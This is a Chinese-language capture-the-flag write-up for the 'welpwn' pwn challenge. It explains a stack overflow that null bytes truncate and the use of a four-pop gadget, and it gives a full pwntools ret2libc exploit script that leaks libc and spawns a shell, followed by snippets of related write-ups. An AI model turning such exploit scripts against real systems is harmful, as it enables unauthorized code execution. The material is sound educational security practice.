攻防世界PWN之Welpwn題解

2021-09-29 09:47:51 字數 4311 閱讀 9670

首先用ida檢視

發現主函式不能棧溢位,我們看看echo這個函式

echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則,我們用p64(…)包裝位址時,必然會出現0。

比如我們的payload為payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

由於是64為包裝,因此payload字串為』a』*0x18 + 『\xa3\x08\x40\x00\x00\x00\x00\x00』 + 『……』

這意味著,payload後面的兩個位址不會被複製到s2,因為前面遇到了0,那麼這樣我們就不能正確呼叫出system(「/bin/sh」)

那麼,我們來分析一下,該如何達到目的

首先,進入echo函式後,棧中資料是這樣的

0000000000000000

0x10位元組資料區

0000000000000000

echo函式棧的ebp

echo函式返回位址

0000000000000000

0x400位元組資料區

0000000000000000

0000000000000000

0000000000000000

0000000000000000

…………….

main函式棧的ebp

假如我們在buf中輸入的0x400個a字元,那麼棧變成這樣了

aaaaaaaa

0x10位元組資料區

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

0x400位元組資料區

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

…………….

main函式棧的ebp

因為沒有在中途遇到0,所以echo中的迴圈一直複製buf中的資料到s2中,造成溢位。

現在,假如我們的payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

那麼,棧中的資料變成這樣

aaaaaaaa

0x10位元組資料區

aaaaaaaa

aaaaaaaa

echo函式棧的ebp

pop_rdi_addr

echo函式返回位址

aaaaaaaa

0x400位元組資料區

aaaaaaaa

aaaaaaaa

pop_rdi_addr

binsh_addr

system_addr

main函式棧的ebp

這樣的話,echo執行完後,跳到pop_rdi位址處執行,然而,pop_rdi執行完後,棧頂指標esp指向buf+0x8 ,即aaaaaaaa,這裡不是位址,因此程式崩潰結束。然而,如果,我們在buf+0x8處儲存其他函式位址,也是不可行的,因為該位址是64位,末尾幾位有0,這會導致我們還沒溢位s2就已停止資料複製。

因此,我們有以下總結

buf的前

24位元組不能

存位址資料,只存普通資料。

buf+24

處應該存某一位址,且該位址處有四個

pop指令,和乙個

retn

指令。這樣,四次

pop後,就相當於跳過了

24位元組資料和自己本身

8位元組位址資料。在接下來的位址處,我們就可以寫其他函式。 在

0x40089c

處正好有四個

pop和乙個

假如我們的payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)

那麼棧布局如下

aaaaaaaa

0x10位元組資料區

aaaaaaaa

aaaaaaaa

echo函式棧的ebp

pop_24_addr

echo函式返回位址

aaaaaaaa

0x400位元組資料區

aaaaaaaa

aaaaaaaa

pop_24_addr

pop_rdi

write_got

puts_plt

main_addr

main函式棧的ebp

那麼,echo函式執行完以後,跳到pop_24位址處,由於跳轉後,棧頂指標指向buf,出棧4個後,指標指向buf+32 ,接下來遇到retn,出棧乙個元素為(pop_rdi)作為pop_24的返回位址,這樣跳轉到了pop_rdi,後面類似。我們呼叫system 獲取到shell

我們最終的exp指令碼如下:

#coding:utf8

frompwnimport*  

fromlibcsearcherimport*  

context.log_level  = 

'debug'

sh = process(

'./pwnh13'

)  #sh = remote('111.198.29.45',51867)

elf = elf(

'./pwnh13'

)  write_got = elf.got[

'write'

]  puts_plt = elf.plt[

'puts'

]  #

此處有4

條pop

指令,用於跳過

24位元組

pop_24 = 0x40089c  

#pop rdi

的位址,

用來傳參,具體看

x64的傳參方式

pop_rdi = 0x4008a3  

sh.recvuntil(

'welcome to rctf\n'

)  main_addr = 0x4007cd  

#本題的溢位點在

echo

函式裡,

然而,當遇到

0,就停止了資料的複製,因此我們需要

pop_24

來跳過24

個位元組payload = 

'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  

sh.send(payload)  

sh.recvuntil(

'\x40'

)  #

洩露write

位址write_addr = u64(sh.recv(6).ljust(8,

'\x00'

))  

libc = libcsearcher(

'write'

,write_addr)  #獲取

libc

載入位址

libc_base = write_addr - libc.dump(

'write'

)  #

獲取system

位址system_addr = libc_base + libc.dump(

'system'

)  #

獲取/bin/sh

位址binsh_addr = libc_base + libc.dump(

'str_bin_sh'

)  sh.recvuntil(

'\n'

)  payload = 

'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  

sh.send(payload)  

sh.interactive()  

攻防世界welpwn解題方法

題目很程式很簡單,輸入字串,將遇到 x00前的字元拷貝給s2陣列,如果拷貝數量大於s2在棧上的空間就會發生溢位,可以覆蓋到ret的位置從而控制程式流。需要注意的是覆蓋ret用的位址肯定會包含 x00,因此構造的rop鏈會斷開,所以需要想辦法。解決辦法為通過一串pop ret指令將棧上內容彈出,然後直...

攻防世界PWN之greeting 150題解

首先看一下保護機制 然後我們拖入ida,發現是乙個很簡單的程式。然而,最後的那個printf s 存在格式化字串漏洞,可以造成任意位址的讀寫。首先,我們需要確定我們輸入的資料的相對位置。經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置 那麼,我們的payload aa p...

攻防世界PWN之dubblesort題解

首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...